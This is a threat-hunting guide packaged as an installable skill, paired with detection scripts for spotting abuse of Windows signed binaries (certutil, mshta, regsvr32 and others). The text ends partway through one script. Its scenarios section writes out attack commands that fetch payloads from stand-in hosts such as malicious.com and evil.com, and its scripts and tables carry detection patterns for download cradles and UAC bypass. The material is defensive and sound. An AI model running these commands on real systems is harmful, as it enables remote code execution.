threat hunting

Hunting for Living-off-the-Land Binaries (LOLBins)

Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.

defense-evasionedrlolbinsmitre-attackproactive-detectionsiemthreat-hunting
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When investigating fileless malware campaigns that bypass traditional AV
  • During proactive threat hunts targeting defense evasion techniques
  • When EDR alerts fire on legitimate binaries executing unusual child processes
  • After threat intelligence reports indicate LOLBin abuse in active campaigns
  • During red team/purple team exercises validating detection coverage for T1218

Prerequisites

  • Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
  • Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
  • PowerShell command-line logging enabled (Module Logging, Script Block Logging)
  • Network proxy or firewall logs for correlating outbound connections

Workflow

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.

Key Concepts

Concept Description
LOLBin Legitimate OS binary abused by attackers for malicious purposes
LOLBAS Project Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts
T1218 MITRE ATT&CK - Signed Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.002 Control Panel (control.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32
T1218.011 Rundll32
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
Proxy Execution Using trusted binaries to execute untrusted code
Fileless Attack Attack that operates primarily in memory without dropping files

Tools & Systems

Tool Purpose
CrowdStrike Falcon EDR telemetry and process tree analysis
Microsoft Defender for Endpoint Advanced hunting with KQL queries
Splunk SIEM log aggregation and SPL queries
Elastic Security Detection rules and timeline investigation
Sysmon Detailed process creation and network logging
LOLBAS Project Reference database of LOLBin capabilities
Sigma Rules Generic detection rule format for LOLBins
Velociraptor Endpoint forensic collection and hunting

Common Scenarios

  1. Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
  2. Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
  3. Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.
  4. Regsvr32 Squiblydoo: Remote SCT file executed via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.
  5. BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using bitsadmin /transfer.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.9 KB

API Reference — Hunting for Living-off-the-Land Binaries

Libraries Used

  • elasticsearch (elasticsearch-py): Query Elastic SIEM for LOLBin process events
  • python-evtx (Evtx): Parse Windows EVTX event logs for Sysmon process creation
  • re: Regex matching against suspicious command-line argument patterns

CLI Interface

python agent.py hunt --es-host <url> --index <pattern> [--api-key <key>] [--hours <n>]
python agent.py sysmon --evtx-file <path>

Core Functions

hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24)

Queries Elasticsearch for 12 LOLBin binaries with suspicious argument patterns.

Parameters:

Name Type Description
es_host str Elasticsearch host URL
es_index str Index pattern (default: logs-*)
api_key str Optional API key
hours int Lookback window in hours

Returns: dict with detections list (each with binary, mitre, count, events).

scan_sysmon_log(evtx_file)

Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin names.

Parameters:

Name Type Description
evtx_file str Path to Sysmon .evtx file

Returns: dict with lolbin_events count and findings list.

LOLBins Covered

Binary MITRE Technique Suspicious Pattern Examples
certutil.exe T1140, T1105 -urlcache, -decode, -encode
mshta.exe T1218.005 vbscript:, javascript:, HTTP URLs
regsvr32.exe T1218.010 /s /n /u /i:, scrobj.dll
rundll32.exe T1218.011 javascript:, shell32.dll
bitsadmin.exe T1197 /transfer, /download
wmic.exe T1047 process call create, /node:
powershell.exe T1059.001 -enc, IEX, DownloadString, -w hidden

Dependencies

pip install elasticsearch>=8.0 python-evtx
standards.md3.1 KB

Standards and References - Hunting for LOLBins

MITRE ATT&CK Mappings

Primary Techniques

  • T1218 - Signed Binary Proxy Execution: Use of trusted binaries to proxy execution of malicious payloads
    • T1218.001 - Compiled HTML File
    • T1218.002 - Control Panel
    • T1218.003 - CMSTP
    • T1218.004 - InstallUtil
    • T1218.005 - Mshta
    • T1218.007 - Msiexec
    • T1218.009 - Regsvcs/Regasm
    • T1218.010 - Regsvr32
    • T1218.011 - Rundll32
    • T1218.012 - Verclsid
    • T1218.013 - Mavinject
    • T1218.014 - MMC

Supporting Techniques

  • T1197 - BITS Jobs: Abuse of Background Intelligent Transfer Service
  • T1140 - Deobfuscate/Decode Files or Information: certutil decode operations
  • T1059.001 - PowerShell: Script execution through PowerShell LOLBin
  • T1047 - Windows Management Instrumentation: WMIC-based execution
  • T1216 - Signed Script Proxy Execution: Trusted script execution (cscript, wscript)
  • T1127 - Trusted Developer Utilities Proxy Execution: MSBuild, dnx, rcsi

Tactics Covered

  • TA0002 - Execution: LOLBins used to execute malicious code
  • TA0005 - Defense Evasion: Bypassing security controls through trusted binaries
  • TA0003 - Persistence: Some LOLBins used for persistent execution

LOLBAS Project Reference

The LOLBAS (Living Off The Land Binaries, Scripts, and Libraries) Project maintains a comprehensive catalog:

High-Priority LOLBins for Hunting

Binary ATT&CK ID Capabilities
certutil.exe T1140 Download, encode/decode, ADS
mshta.exe T1218.005 Execute HTA/VBS, download
rundll32.exe T1218.011 Execute DLL exports, proxy load
regsvr32.exe T1218.010 Execute COM scriptlets remotely
msiexec.exe T1218.007 Install remote MSI packages
cmstp.exe T1218.003 Execute INF SCT files
wmic.exe T1047 Remote command execution
bitsadmin.exe T1197 File transfer, persistence
msbuild.exe T1127.001 Compile and execute inline tasks
installutil.exe T1218.004 Execute managed code
cscript.exe T1059.005 Script execution
wscript.exe T1059.005 Script execution
forfiles.exe T1202 Indirect command execution
pcalua.exe T1202 Program compatibility execution

Threat Intelligence References

  • CISA Alert AA23-136A: LOLBin abuse in Volt Typhoon campaigns
  • Symantec: Living off the Land Techniques in Targeted Attacks
  • Microsoft Threat Intelligence: Nation-state LOLBin campaigns
  • Red Canary Threat Detection Report: Annual LOLBin detection trends

Detection Data Sources

Data Source Event IDs Content
Sysmon 1 Process creation with command line
Sysmon 3 Network connection from LOLBin
Sysmon 7 Image loaded (DLL loads)
Sysmon 11 File creation by LOLBin
Windows Security 4688 Process creation (enhanced)
Windows PowerShell 4103, 4104 Script block logging
Firewall/Proxy - Outbound connections from LOLBins
workflows.md4.4 KB

Detailed Hunting Workflow - LOLBins

Phase 1: Intelligence Gathering

Step 1.1 - Review Current Threat Landscape

  • Check LOLBAS Project for newly added binaries
  • Review threat intel feeds for active campaigns abusing LOLBins
  • Correlate with CISA advisories and vendor threat reports
  • Identify LOLBins relevant to your environment's OS versions

Step 1.2 - Prioritize Target LOLBins

  • Rank LOLBins by prevalence in current threat campaigns
  • Consider which LOLBins have no existing detection rules
  • Focus on LOLBins with download, execute, and encode capabilities
  • Map to MITRE ATT&CK navigator for coverage gaps

Phase 2: Data Collection

Step 2.1 - Sysmon Process Creation Query (Event ID 1)

EventID=1 AND (
  Image CONTAINS "certutil.exe" OR
  Image CONTAINS "mshta.exe" OR
  Image CONTAINS "rundll32.exe" OR
  Image CONTAINS "regsvr32.exe" OR
  Image CONTAINS "msiexec.exe" OR
  Image CONTAINS "cmstp.exe" OR
  Image CONTAINS "wmic.exe" OR
  Image CONTAINS "bitsadmin.exe" OR
  Image CONTAINS "msbuild.exe"
)

Step 2.2 - Splunk SPL Query for LOLBin Network Activity

index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msiexec|bitsadmin)\.exe$")
| stats count by Image, DestinationIp, DestinationPort, User
| where DestinationIp!="10.*" AND DestinationIp!="172.16.*" AND DestinationIp!="192.168.*"
| sort -count

Step 2.3 - KQL Query for Microsoft Defender for Endpoint

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe","cmstp.exe")
| where ProcessCommandLine has_any ("http","ftp","urlcache","-decode","/i:","scrobj.dll","-enc")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc

Phase 3: Baseline Analysis

Step 3.1 - Establish Normal Usage Patterns

  • Count daily executions per LOLBin per endpoint
  • Document standard parent processes (explorer.exe -> certutil.exe for IT admin)
  • Record typical command-line arguments for legitimate use
  • Note time-of-day patterns (business hours vs. off-hours)

Step 3.2 - Build Frequency Analysis

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32)\.exe$")
| timechart span=1h count by Image
| eventstats avg(certutil.exe) as avg_certutil, stdev(certutil.exe) as stdev_certutil
| where certutil.exe > (avg_certutil + 3*stdev_certutil)

Phase 4: Anomaly Detection

Step 4.1 - Suspicious Command-Line Indicators

LOLBin Suspicious Argument Reason
certutil.exe -urlcache -split -f Remote file download
certutil.exe -encode / -decode Data encoding/obfuscation
mshta.exe javascript: or vbscript: Inline script execution
regsvr32.exe /s /n /u /i:http Remote SCT execution (Squiblydoo)
rundll32.exe javascript: Script execution proxy
bitsadmin.exe /transfer with URL File download
msiexec.exe /q /i http:// Silent remote MSI install
cmstp.exe /s /ns with INF file UAC bypass

Step 4.2 - Anomalous Parent-Child Relationships

Flag when these parent processes spawn LOLBins:

  • winword.exe -> certutil.exe (document downloading payload)
  • outlook.exe -> mshta.exe (email launching HTA)
  • wmiprvse.exe -> rundll32.exe (WMI lateral movement)
  • svchost.exe -> regsvr32.exe (service spawning proxy execution)

Phase 5: Correlation and Enrichment

Step 5.1 - Network Correlation

  • Match LOLBin network connections to threat intel domain/IP lists
  • Check destination IPs against VirusTotal, AbuseIPDB
  • Verify if domains are newly registered (DGA detection)
  • Correlate with DNS query logs for suspicious resolutions

Step 5.2 - File Activity Correlation

  • Track files created by LOLBin processes
  • Check file hashes against threat intel feeds
  • Monitor for files written to unusual directories (Temp, AppData, ProgramData)
  • Look for ADS (Alternate Data Streams) usage

Phase 6: Documentation and Response

Step 6.1 - Document Findings

  • Record all true positive findings with evidence
  • Document false positive patterns for tuning
  • Update detection analytics with new signatures
  • Create IOC lists for identified threats

Step 6.2 - Update Detection Coverage

  • Write or update Sigma rules for identified patterns
  • Deploy new EDR detection rules
  • Update SIEM correlation rules
  • Add findings to MITRE ATT&CK Navigator heatmap

Scripts 2

agent.py6.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for hunting Living-off-the-Land Binaries (LOLBins) execution patterns."""

import json
import argparse
import re
from datetime import datetime

try:
    from elasticsearch import Elasticsearch
except ImportError:
    Elasticsearch = None

LOLBINS = {
    "certutil.exe": {
        "mitre": "T1140,T1105",
        "suspicious_args": [r"-urlcache", r"-split", r"-decode", r"-encode", r"-f\s+http"],
        "description": "Certificate utility abused for download and decode",
    },
    "mshta.exe": {
        "mitre": "T1218.005",
        "suspicious_args": [r"vbscript:", r"javascript:", r"http://", r"https://"],
        "description": "HTML Application host for script execution",
    },
    "regsvr32.exe": {
        "mitre": "T1218.010",
        "suspicious_args": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll", r"http://", r"https://"],
        "description": "COM registration abused for proxy execution",
    },
    "rundll32.exe": {
        "mitre": "T1218.011",
        "suspicious_args": [r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", r"url\.dll.*FileProtocolHandler"],
        "description": "DLL loader abused for proxy execution",
    },
    "bitsadmin.exe": {
        "mitre": "T1197",
        "suspicious_args": [r"/transfer", r"/download", r"/create", r"http://", r"https://"],
        "description": "BITS service abused for file download",
    },
    "wmic.exe": {
        "mitre": "T1047",
        "suspicious_args": [r"process\s+call\s+create", r"/node:", r"os\s+get"],
        "description": "WMI command-line for remote execution",
    },
    "msiexec.exe": {
        "mitre": "T1218.007",
        "suspicious_args": [r"/q.*http://", r"/q.*https://", r"/q.*/i\s+"],
        "description": "MSI installer abused for code execution",
    },
    "cmstp.exe": {
        "mitre": "T1218.003",
        "suspicious_args": [r"/ni\s+/s\s+", r"\.inf"],
        "description": "Connection Manager Profile Installer bypass",
    },
    "wscript.exe": {
        "mitre": "T1059.005",
        "suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$", r"//e:jscript", r"//e:vbscript"],
        "description": "Windows Script Host for script execution",
    },
    "cscript.exe": {
        "mitre": "T1059.005",
        "suspicious_args": [r"\.js$", r"\.vbs$", r"\.wsf$"],
        "description": "Console Script Host for script execution",
    },
    "powershell.exe": {
        "mitre": "T1059.001",
        "suspicious_args": [
            r"-enc\s+", r"-encodedcommand", r"-nop\s+", r"-noprofile",
            r"IEX\s*\(", r"Invoke-Expression", r"DownloadString",
            r"Net\.WebClient", r"bitstransfer", r"-w\s+hidden",
        ],
        "description": "PowerShell with obfuscation or download cradles",
    },
    "forfiles.exe": {
        "mitre": "T1202",
        "suspicious_args": [r"/p\s+.*\s+/c\s+", r"cmd\s+/c"],
        "description": "Indirect command execution via forfiles",
    },
}


def hunt_lolbins_elastic(es_host, es_index, api_key=None, hours=24):
    """Query Elasticsearch for LOLBin execution with suspicious arguments."""
    if Elasticsearch is None:
        return {"error": "elasticsearch-py not installed"}
    kwargs = {"hosts": [es_host]}
    if api_key:
        kwargs["api_key"] = api_key
    es = Elasticsearch(**kwargs)
    results = {"timestamp": datetime.utcnow().isoformat(), "detections": [], "total_suspicious": 0}
    for binary, info in LOLBINS.items():
        query = {"bool": {"must": [
            {"term": {"process.name": binary}},
            {"range": {"@timestamp": {"gte": f"now-{hours}h"}}}
        ]}}
        resp = es.search(index=es_index, body={"query": query, "size": 200, "sort": [{"@timestamp": "desc"}]})
        suspicious = []
        for hit in resp["hits"]["hits"]:
            src = hit["_source"]
            cmdline = src.get("process", {}).get("command_line", "")
            for pattern in info["suspicious_args"]:
                if re.search(pattern, cmdline, re.I):
                    suspicious.append({
                        "timestamp": src.get("@timestamp"),
                        "host": src.get("host", {}).get("name"),
                        "user": src.get("user", {}).get("name"),
                        "command_line": cmdline[:500],
                        "parent_process": src.get("process", {}).get("parent", {}).get("name"),
                        "matched_pattern": pattern,
                    })
                    break
        if suspicious:
            results["detections"].append({
                "binary": binary, "mitre": info["mitre"],
                "description": info["description"],
                "count": len(suspicious), "events": suspicious[:50],
            })
            results["total_suspicious"] += len(suspicious)
    return results


def scan_sysmon_log(evtx_file):
    """Parse Sysmon EVTX for LOLBin process creation (Event ID 1)."""
    try:
        import Evtx.Evtx as evtx_lib
    except ImportError:
        return {"error": "python-evtx not installed"}
    findings = []
    lolbin_names = {b.lower() for b in LOLBINS}
    with evtx_lib.Evtx(evtx_file) as log:
        for record in log.records():
            xml = record.xml()
            if "<EventID>1</EventID>" not in xml:
                continue
            for binary in lolbin_names:
                if binary in xml.lower():
                    findings.append({"record_id": record.record_num(), "xml_snippet": xml[:800]})
                    break
    return {"file": evtx_file, "lolbin_events": len(findings), "findings": findings[:200]}


def main():
    parser = argparse.ArgumentParser(description="Hunt for LOLBin execution patterns")
    sub = parser.add_subparsers(dest="command")
    h = sub.add_parser("hunt", help="Hunt LOLBins in Elasticsearch")
    h.add_argument("--es-host", required=True)
    h.add_argument("--index", default="logs-*")
    h.add_argument("--api-key")
    h.add_argument("--hours", type=int, default=24)
    s = sub.add_parser("sysmon", help="Scan Sysmon EVTX for LOLBins")
    s.add_argument("--evtx-file", required=True)
    args = parser.parse_args()
    if args.command == "hunt":
        result = hunt_lolbins_elastic(args.es_host, args.index, args.api_key, args.hours)
    elif args.command == "sysmon":
        result = scan_sysmon_log(args.evtx_file)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
process.py19.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
LOLBin Threat Hunt Automation Script
Queries Windows Event Logs and Sysmon for suspicious LOLBin activity.
Supports Splunk API, Elastic API, and local Windows Event Log parsing.
"""

import json
import csv
import argparse
import datetime
import re
import sys
from collections import defaultdict
from pathlib import Path

try:
    import xml.etree.ElementTree as ET
except ImportError:
    pass

# Known LOLBins and their suspicious argument patterns
LOLBIN_SIGNATURES = {
    "certutil.exe": {
        "attack_id": "T1140",
        "suspicious_args": [
            r"-urlcache\s+-split\s+-f",
            r"-encode",
            r"-decode",
            r"-verifyctl",
            r"http[s]?://",
        ],
        "description": "Certificate utility abused for download/encode",
    },
    "mshta.exe": {
        "attack_id": "T1218.005",
        "suspicious_args": [
            r"javascript:",
            r"vbscript:",
            r"http[s]?://",
            r"\.hta",
        ],
        "description": "HTML Application host for script execution",
    },
    "rundll32.exe": {
        "attack_id": "T1218.011",
        "suspicious_args": [
            r"javascript:",
            r"shell32\.dll.*ShellExec_RunDLL",
            r"url\.dll.*FileProtocolHandler",
            r"advpack\.dll.*RegisterOCX",
            r"pcwutl\.dll.*LaunchApplication",
        ],
        "description": "DLL loader abused for proxy execution",
    },
    "regsvr32.exe": {
        "attack_id": "T1218.010",
        "suspicious_args": [
            r"/s\s+/n\s+/u\s+/i:",
            r"scrobj\.dll",
            r"http[s]?://",
        ],
        "description": "COM registration utility for Squiblydoo attacks",
    },
    "msiexec.exe": {
        "attack_id": "T1218.007",
        "suspicious_args": [
            r"/q.*http[s]?://",
            r"/quiet.*http[s]?://",
            r"/i\s+http[s]?://",
        ],
        "description": "Windows Installer abused for remote MSI execution",
    },
    "bitsadmin.exe": {
        "attack_id": "T1197",
        "suspicious_args": [
            r"/transfer",
            r"/create.*http[s]?://",
            r"/addfile.*http[s]?://",
            r"/SetNotifyCmdLine",
        ],
        "description": "BITS service abused for download and persistence",
    },
    "cmstp.exe": {
        "attack_id": "T1218.003",
        "suspicious_args": [
            r"/s\s+/ns",
            r"\.inf",
            r"/au",
        ],
        "description": "Connection Manager for UAC bypass and execution",
    },
    "wmic.exe": {
        "attack_id": "T1047",
        "suspicious_args": [
            r"process\s+call\s+create",
            r"/node:",
            r"os\s+get",
            r"format:",
            r"http[s]?://",
        ],
        "description": "WMI command-line for remote execution",
    },
    "msbuild.exe": {
        "attack_id": "T1127.001",
        "suspicious_args": [
            r"\.xml",
            r"\.csproj",
            r"\.proj",
            r"inline.*task",
        ],
        "description": "Build tool abused for inline task execution",
    },
    "installutil.exe": {
        "attack_id": "T1218.004",
        "suspicious_args": [
            r"/logfile=",
            r"/LogToConsole=false",
            r"/U",
        ],
        "description": ".NET utility for managed code execution",
    },
    "forfiles.exe": {
        "attack_id": "T1202",
        "suspicious_args": [
            r"/c\s+cmd",
            r"/c\s+powershell",
            r"/p\s+c:\\windows",
        ],
        "description": "Indirect command execution utility",
    },
    "pcalua.exe": {
        "attack_id": "T1202",
        "suspicious_args": [
            r"-a\s+.*\.exe",
            r"-a\s+.*\.dll",
        ],
        "description": "Program Compatibility Assistant for proxy execution",
    },
}

# Suspicious parent processes for LOLBins
SUSPICIOUS_PARENTS = {
    "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
    "wmiprvse.exe", "w3wp.exe", "php-cgi.exe", "httpd.exe",
    "nginx.exe", "tomcat.exe", "sqlservr.exe", "python.exe",
    "wscript.exe", "cscript.exe",
}


def parse_sysmon_xml(xml_path: str) -> list[dict]:
    """Parse exported Sysmon Event ID 1 (Process Creation) XML logs."""
    events = []
    try:
        tree = ET.parse(xml_path)
        root = tree.getroot()
        ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"}

        for event in root.findall(".//ns:Event", ns):
            event_data = {}
            for data in event.findall(".//ns:Data", ns):
                name = data.get("Name", "")
                event_data[name] = data.text or ""
            if event_data.get("Image"):
                events.append(event_data)
    except ET.ParseError as e:
        print(f"[ERROR] Failed to parse XML: {e}")
    except FileNotFoundError:
        print(f"[ERROR] File not found: {xml_path}")
    return events


def parse_csv_logs(csv_path: str) -> list[dict]:
    """Parse CSV-exported process creation logs."""
    events = []
    try:
        with open(csv_path, "r", encoding="utf-8-sig") as f:
            reader = csv.DictReader(f)
            for row in reader:
                events.append(dict(row))
    except FileNotFoundError:
        print(f"[ERROR] File not found: {csv_path}")
    return events


def parse_json_logs(json_path: str) -> list[dict]:
    """Parse JSON-exported process creation logs."""
    events = []
    try:
        with open(json_path, "r", encoding="utf-8") as f:
            data = json.load(f)
            if isinstance(data, list):
                events = data
            elif isinstance(data, dict) and "events" in data:
                events = data["events"]
            elif isinstance(data, dict) and "hits" in data:
                events = [h.get("_source", h) for h in data["hits"].get("hits", [])]
    except (FileNotFoundError, json.JSONDecodeError) as e:
        print(f"[ERROR] Failed to parse JSON: {e}")
    return events


def normalize_event(event: dict) -> dict:
    """Normalize event fields across different log formats."""
    normalized = {}
    field_mappings = {
        "image": ["Image", "image", "process_name", "FileName", "process.executable"],
        "command_line": ["CommandLine", "command_line", "ProcessCommandLine", "process.command_line", "cmdline"],
        "parent_image": ["ParentImage", "parent_image", "InitiatingProcessFileName", "process.parent.executable"],
        "user": ["User", "user", "AccountName", "user.name", "SubjectUserName"],
        "timestamp": ["UtcTime", "timestamp", "Timestamp", "@timestamp", "TimeCreated"],
        "hostname": ["Computer", "hostname", "DeviceName", "host.name", "ComputerName"],
        "pid": ["ProcessId", "pid", "process_id", "process.pid"],
        "parent_pid": ["ParentProcessId", "parent_pid", "ppid", "process.parent.pid"],
    }
    for target_field, source_fields in field_mappings.items():
        for src in source_fields:
            if src in event and event[src]:
                normalized[target_field] = str(event[src])
                break
        if target_field not in normalized:
            normalized[target_field] = ""
    return normalized


def analyze_lolbin_event(event: dict) -> dict | None:
    """Analyze a single process event for LOLBin abuse indicators."""
    image = event.get("image", "").lower()
    command_line = event.get("command_line", "")
    parent_image = event.get("parent_image", "").lower()

    binary_name = image.split("\\")[-1].split("/")[-1] if image else ""

    if binary_name not in LOLBIN_SIGNATURES:
        return None

    sig = LOLBIN_SIGNATURES[binary_name]
    finding = {
        "binary": binary_name,
        "attack_id": sig["attack_id"],
        "description": sig["description"],
        "command_line": command_line,
        "parent_process": parent_image.split("\\")[-1].split("/")[-1] if parent_image else "unknown",
        "user": event.get("user", "unknown"),
        "hostname": event.get("hostname", "unknown"),
        "timestamp": event.get("timestamp", "unknown"),
        "risk_score": 0,
        "indicators": [],
    }

    # Check for suspicious command-line arguments
    for pattern in sig["suspicious_args"]:
        if re.search(pattern, command_line, re.IGNORECASE):
            finding["risk_score"] += 30
            finding["indicators"].append(f"Suspicious argument pattern: {pattern}")

    # Check for suspicious parent processes
    parent_name = finding["parent_process"]
    if parent_name in SUSPICIOUS_PARENTS:
        finding["risk_score"] += 25
        finding["indicators"].append(f"Suspicious parent process: {parent_name}")

    # Check for network-related indicators in command line
    if re.search(r"http[s]?://", command_line, re.IGNORECASE):
        finding["risk_score"] += 20
        finding["indicators"].append("Contains URL - possible download/C2")

    # Check for encoded content
    if re.search(r"(base64|encode|decode|-enc\s)", command_line, re.IGNORECASE):
        finding["risk_score"] += 15
        finding["indicators"].append("Contains encoding/decoding operation")

    # Check for execution from unusual paths
    unusual_paths = [r"\\temp\\", r"\\tmp\\", r"\\appdata\\", r"\\programdata\\", r"\\public\\", r"\\downloads\\"]
    for path_pattern in unusual_paths:
        if re.search(path_pattern, command_line, re.IGNORECASE):
            finding["risk_score"] += 10
            finding["indicators"].append(f"References unusual path: {path_pattern}")

    # Only return if there are actual indicators
    if finding["indicators"]:
        finding["risk_level"] = (
            "CRITICAL" if finding["risk_score"] >= 60
            else "HIGH" if finding["risk_score"] >= 40
            else "MEDIUM" if finding["risk_score"] >= 20
            else "LOW"
        )
        return finding
    return None


def generate_splunk_queries() -> dict[str, str]:
    """Generate Splunk SPL queries for LOLBin hunting."""
    queries = {}

    # General LOLBin network activity
    queries["lolbin_network_activity"] = """index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msiexec|bitsadmin|cmstp|wmic)\.exe$")
| stats count values(DestinationIp) as dest_ips values(DestinationPort) as dest_ports by Image Computer User
| where count > 0
| sort -count"""

    # Certutil download cradle
    queries["certutil_download"] = """index=sysmon EventCode=1 Image="*\\certutil.exe"
| where match(CommandLine, "(?i)(urlcache|split|decode|encode|http)")
| table _time Computer User Image CommandLine ParentImage"""

    # Regsvr32 Squiblydoo
    queries["regsvr32_squiblydoo"] = """index=sysmon EventCode=1 Image="*\\regsvr32.exe"
| where match(CommandLine, "(?i)(scrobj|/i:http|/s /n /u)")
| table _time Computer User CommandLine ParentImage"""

    # Mshta script execution
    queries["mshta_script_exec"] = """index=sysmon EventCode=1 Image="*\\mshta.exe"
| where match(CommandLine, "(?i)(javascript|vbscript|http)")
| table _time Computer User CommandLine ParentImage"""

    # LOLBin with suspicious parent
    queries["lolbin_suspicious_parent"] = """index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\.exe$")
| where match(ParentImage, "(?i)(winword|excel|powerpnt|outlook|wmiprvse|w3wp)\.exe$")
| table _time Computer User Image CommandLine ParentImage"""

    return queries


def generate_kql_queries() -> dict[str, str]:
    """Generate KQL queries for Microsoft Defender for Endpoint."""
    queries = {}

    queries["lolbin_suspicious_execution"] = """DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe","cmstp.exe","msiexec.exe","wmic.exe")
| where ProcessCommandLine has_any ("http","ftp","urlcache","-decode","-encode","scrobj","javascript","vbscript","transfer","/i:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc"""

    queries["lolbin_network_connections"] = """DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","bitsadmin.exe")
| where RemoteIPType == "Public"
| summarize ConnectionCount=count(), RemoteIPs=make_set(RemoteIP) by InitiatingProcessFileName, DeviceName
| order by ConnectionCount desc"""

    queries["lolbin_from_office"] = """DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe")
| where FileName in~ ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","powershell.exe","cmd.exe","wscript.exe","cscript.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine"""

    return queries


def run_hunt(input_path: str, output_dir: str, log_format: str = "auto") -> None:
    """Execute the LOLBin threat hunt against provided log data."""
    print(f"[*] LOLBin Threat Hunt Starting - {datetime.datetime.now().isoformat()}")
    print(f"[*] Input: {input_path}")
    print(f"[*] Output: {output_dir}")

    # Parse input logs
    if log_format == "auto":
        if input_path.endswith(".xml"):
            log_format = "xml"
        elif input_path.endswith(".csv"):
            log_format = "csv"
        elif input_path.endswith(".json"):
            log_format = "json"
        else:
            print("[ERROR] Cannot determine log format. Use --format flag.")
            sys.exit(1)

    print(f"[*] Parsing {log_format} logs...")
    if log_format == "xml":
        raw_events = parse_sysmon_xml(input_path)
    elif log_format == "csv":
        raw_events = parse_csv_logs(input_path)
    elif log_format == "json":
        raw_events = parse_json_logs(input_path)
    else:
        print(f"[ERROR] Unsupported format: {log_format}")
        sys.exit(1)

    print(f"[*] Parsed {len(raw_events)} events")

    # Normalize and analyze
    findings = []
    stats = defaultdict(int)

    for raw_event in raw_events:
        event = normalize_event(raw_event)
        result = analyze_lolbin_event(event)
        if result:
            findings.append(result)
            stats[result["binary"]] += 1
            stats[result["risk_level"]] += 1

    print(f"[*] Analysis complete - {len(findings)} suspicious events found")

    # Output results
    output_path = Path(output_dir)
    output_path.mkdir(parents=True, exist_ok=True)

    # Write findings JSON
    findings_file = output_path / "lolbin_findings.json"
    with open(findings_file, "w", encoding="utf-8") as f:
        json.dump({
            "hunt_id": f"TH-LOLBIN-{datetime.date.today().isoformat()}",
            "timestamp": datetime.datetime.now().isoformat(),
            "total_events_analyzed": len(raw_events),
            "total_findings": len(findings),
            "statistics": dict(stats),
            "findings": findings,
        }, f, indent=2)
    print(f"[+] Findings written to {findings_file}")

    # Write CSV summary
    csv_file = output_path / "lolbin_findings.csv"
    if findings:
        with open(csv_file, "w", newline="", encoding="utf-8") as f:
            writer = csv.DictWriter(f, fieldnames=findings[0].keys())
